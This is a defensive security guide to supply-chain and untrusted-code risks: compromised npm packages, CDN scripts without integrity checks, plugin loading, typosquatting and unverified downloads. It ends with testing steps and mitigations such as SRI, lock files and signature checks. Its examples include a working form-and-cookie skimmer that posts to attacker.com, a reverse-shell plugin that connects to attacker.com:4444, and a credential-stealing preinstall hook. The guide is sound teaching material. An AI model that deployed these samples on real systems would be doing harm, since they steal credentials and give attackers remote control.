Dependencies and Malicious Code Inclusion

Why It's Critical

Loading untrusted code gives attackers complete control:

Code execution: Malicious code runs with application privileges
Data theft: Steal credentials, keys, customer data
Malware distribution: Use infected system to spread malware
Persistence: Malicious code survives application restarts
Supply chain attack: Single compromised dependency affects thousands

A single untrusted dependency can compromise entire applications and networks.

Real-World Attack Scenarios

Scenario 1: NPM Package Dependency Vulnerability

JavaScript application uses NPM package with vulnerability:

{
  "dependencies": {
    "lodash": "4.17.15",
    "express": "4.17.1",
    "axios": "0.19.0"
  }
}

The attack:

Attacker discovers vulnerability in axios 0.19.0
Creates exploit that steals API keys from environment
Publishes as update to same version or patches version
When npm install runs, malicious version downloaded

# Developer installs dependencies
npm install

# Malicious axios code executes during installation
# Steals environment variables with API keys
process.env.API_KEYS → sent to attacker
process.env.DATABASE_URL → sent to attacker
process.env.AWS_CREDENTIALS → sent to attacker

Result:

Credentials stolen during installation
Attacker gains cloud access
Database compromise
Complete infrastructure takeover

Finding it: Check dependency versions. Look for suspicious install scripts. Monitor outbound network requests during npm install.

Scenario 2: CDN Link Without Integrity Check

Web application loads JavaScript from CDN without verification:

<!-- No integrity check! -->
<script src="https://cdn.example.com/jquery.js"></script>

<!-- Or loading from external domain -->
<script src="https://attacker-controlled.com/analytics.js"></script>

The attack:

Attacker compromises CDN or redirects traffic
Serves malicious JavaScript instead
JavaScript steals session tokens, credentials, form data

// Malicious JavaScript injected via CDN
document.addEventListener('submit', function(e) {
    var form = e.target;
    var data = new FormData(form);
    
    // Exfiltrate form data to attacker
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: data
    });
});

// Steal cookies
fetch('https://attacker.com/steal-cookies?cookies=' + document.cookie);

When user submits form → credentials sent to attacker.

Result:

Session token theft
Credential capture
Form data exfiltration
Account takeover

Finding it: Check for SRI (Subresource Integrity) hashes. Look for external script sources. Verify HTTPS for all resources.

Scenario 3: Plugin/Extension Vulnerability

Application loads third-party plugins without verification:

# Load plugins from directory
import importlib
import os

plugins_dir = '/opt/plugins'

for plugin_file in os.listdir(plugins_dir):
    if plugin_file.endswith('.py'):
        # Load and execute plugin WITHOUT verification
        plugin = importlib.import_module(plugin_file[:-3])
        plugin.initialize()

The attack:

Attacker places malicious plugin in plugins directory
Application loads and executes it
Malicious plugin has full application access

# Malicious plugin
def initialize():
    import socket
    
    # Connect back to attacker
    s = socket.socket()
    s.connect(('attacker.com', 4444))
    
    # Execute commands from attacker
    while True:
        cmd = s.recv(1024).decode()
        output = os.popen(cmd).read()
        s.send(output.encode())

Result:

Remote code execution
Full application compromise
Attacker command execution

Finding it: Check plugin loading mechanisms. Look for plugins without signature verification. Test loading malicious plugins.

Scenario 4: Package Manager Supply Chain Attack

Attacker registers similar package name to popular library (typosquatting):

Real package: "lodash"
Attacker creates: "lodash-utils" or "loadash"

Developer typos in package.json:
"dependencies": {
  "loadash": "^4.17.0"  // Wrong spelling!
}

Installs malicious package instead of legitimate one

The attack:

# Developer installs wrong package
npm install loadash

# Malicious package executes install script
# In package.json:
{
  "scripts": {
    "preinstall": "node steal-keys.js"
  }
}

# Installation hook steals credentials
# Sends to attacker server

Result:

Credentials stolen during development
Developer machine compromised
All projects affected

Finding it: Verify package names carefully. Use lock files (package-lock.json). Monitor packages for suspicious behavior.

Scenario 5: Unverified Code Download

Application downloads executable code at runtime without integrity check:

import urllib.request
import subprocess

# Download code from internet
url = "https://example.com/update.exe"
urllib.request.urlretrieve(url, "update.exe")

# Execute without verification
subprocess.run(["update.exe"])

The attack:

Attacker intercepts download (MITM attack)
Replaces legitimate code with malware
Malware executes with application privileges

Or attacker compromises download server:

# Legitimate: update.exe (5MB)
# Attacker replaces with: malware.exe (2MB)
# Application downloads and executes

Result:

Malware execution
System compromise
Credential theft
Persistence

Finding it: Check for downloads without HTTPS. Look for missing integrity checks. Test with MITM proxy.

How to Identify Untrusted Code Loading During Testing

1. Audit dependencies

# Check all dependencies
npm audit
pip show --all
composer show

# Look for known vulnerabilities

2. Test for missing integrity checks

# Try MITM attack on JavaScript loads
# Use Burp Suite to replace script content
# Check if application still executes malicious code

3. Monitor network requests

Watch for:

Unencrypted downloads (HTTP instead of HTTPS)
Missing SRI hashes on script tags
External script sources
Unexpected outbound connections

4. Check for signature verification

# Look for signature validation code
grep -r "verify.*signature\|check.*integrity" .

# If not found, no verification happening

5. Test plugin/extension loading

Try loading malicious plugins. Check if executed without validation.

Mitigation Strategies

Use SRI (Subresource Integrity) for external scripts

<!-- With SRI hash -->
<script 
  src="https://cdn.example.com/jquery.js"
  integrity="sha384-abc123...=="
  crossorigin="anonymous">
</script>

<!-- Without SRI (VULNERABLE) -->
<script src="https://cdn.example.com/jquery.js"></script>

Pin dependency versions

{
  "dependencies": {
    "lodash": "4.17.21",  // Exact version, not "^4.17"
    "express": "4.18.2"   // Pinned versions safer
  }
}

Use lock files

# Generate lock file
npm install
# Commit package-lock.json to git

# Later installs use exact versions from lock
npm ci  # Install from lock file, not package.json

Verify package integrity

# Use checksums
npm install --save-exact package-name

# Verify against known good checksums
npm view package-name dist

Don't execute install scripts

# Skip scripts during installation
npm install --ignore-scripts

# Manually review and run if needed
npm run postinstall

Use allowlist for external resources

ALLOWED_HOSTS = [
  'https://cdn.cloudflare.com',
  'https://cdn.jsdelivr.net',
]

def load_script(url):
    for allowed in ALLOWED_HOSTS:
        if url.startswith(allowed):
            return download(url)
    raise ValueError("Untrusted script source")

Verify code signatures

import hashlib
import hmac

def verify_code_signature(code, signature, secret_key):
    expected = hmac.new(
        secret_key.encode(),
        code.encode(),
        hashlib.sha256
    ).hexdigest()
    
    if not hmac.compare_digest(signature, expected):
        raise ValueError("Code signature verification failed")
    
    return True